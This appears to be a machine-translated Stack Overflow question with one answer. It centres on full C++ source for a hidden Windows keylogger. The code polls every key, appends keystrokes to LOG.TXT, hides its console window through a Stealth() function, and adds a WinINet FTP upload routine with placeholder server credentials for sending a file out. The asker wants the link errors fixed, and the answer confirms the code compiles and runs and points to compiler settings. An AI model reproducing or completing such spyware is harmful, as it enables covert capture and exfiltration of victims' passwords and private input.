C ++ ftp上传错误 - 不推荐将字符串常量转换为'char *'[-Wwrite-strings]

时间:2015-08-23 23:42:26

标签: c++ upload ftp wininet

我一直试图让程序将文件上传到ftp服务器,无论我持续得到什么

  

警告:不推荐将字符串常量转换为'char *'[-Wwrite-strings]

接下来是:

  

未明确引用InternetOpenA@20' undefined reference to InternetConnectA @ 32'对'FtpPutFileA @ 20'的未定义引用

这是我的代码:

#include <iostream>
using namespace std;
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <Wininet.h>
#pragma comment(lib, "wininet")

int Save (int key_stroke, char *file);


void Stealth();

int main()
{
    Stealth();
    char i;

    while (1){
        for(i=8;i<=190;i++){
            if(GetAsyncKeyState(i) == -32767)
                Save(i,"LOG.TXT");
        }
    }
    system ("PAUSE");
    return 0;
}

/***************************************************/
int Save (int key_stroke, char *file)
{
    if( (key_stroke == 1) || (key_stroke == 2))
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key_stroke << endl;

    if(key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if(key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if(key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if(key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if(key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if(key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if(key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if(key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if(key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if(key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if(key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if(key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if( (key_stroke == 190) || (key_stroke == 110))
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose(OUTPUT_FILE);
    return 0;
}
/***************************************************//***************************************************/
void Stealth()
{
 HWND stealth;
 AllocConsole();
 stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(stealth, 0);
 }
void upload()
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
    cout << "ERROR: " << GetLastError();
}else{
    hFtpSession = InternetConnect(hInternet, "server", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
    if(hFtpSession == NULL){
        cout << "ERROR: " << GetLastError();
    }else{
        if(!FtpPutFile(hFtpSession, "C://file.txt", "/file.txt", FTP_TRANSFER_TYPE_BINARY, 0))
        {
            cout << "ERROR: " << GetLastError();
        }
    }
}
}

代码工作正常没有upload()函数,我只是无法弄清楚为什么

帮助将非常受欢迎,以及我的代码上的任何其他提示,因为我对C ++相对较新。

感谢。

1 个答案:

答案 0 :(得分:0)

您的源代码在我的VC(2013)中编译并运行良好。我认为你的编译器设置应该归咎于此。如果您使用的是Visual Studio(VS),请检查Visual C / C ++源包含路径和库包含路径,并确保它们指向正确的文件夹(以及与您的Visual Studio版本一起使用的SDK版本)。如何执行此操作取决于您使用的VS版本。如果您不使用VS,请查看有关调整包含/库路径(特别是Windows SDK路径和版本)的开发环境文档。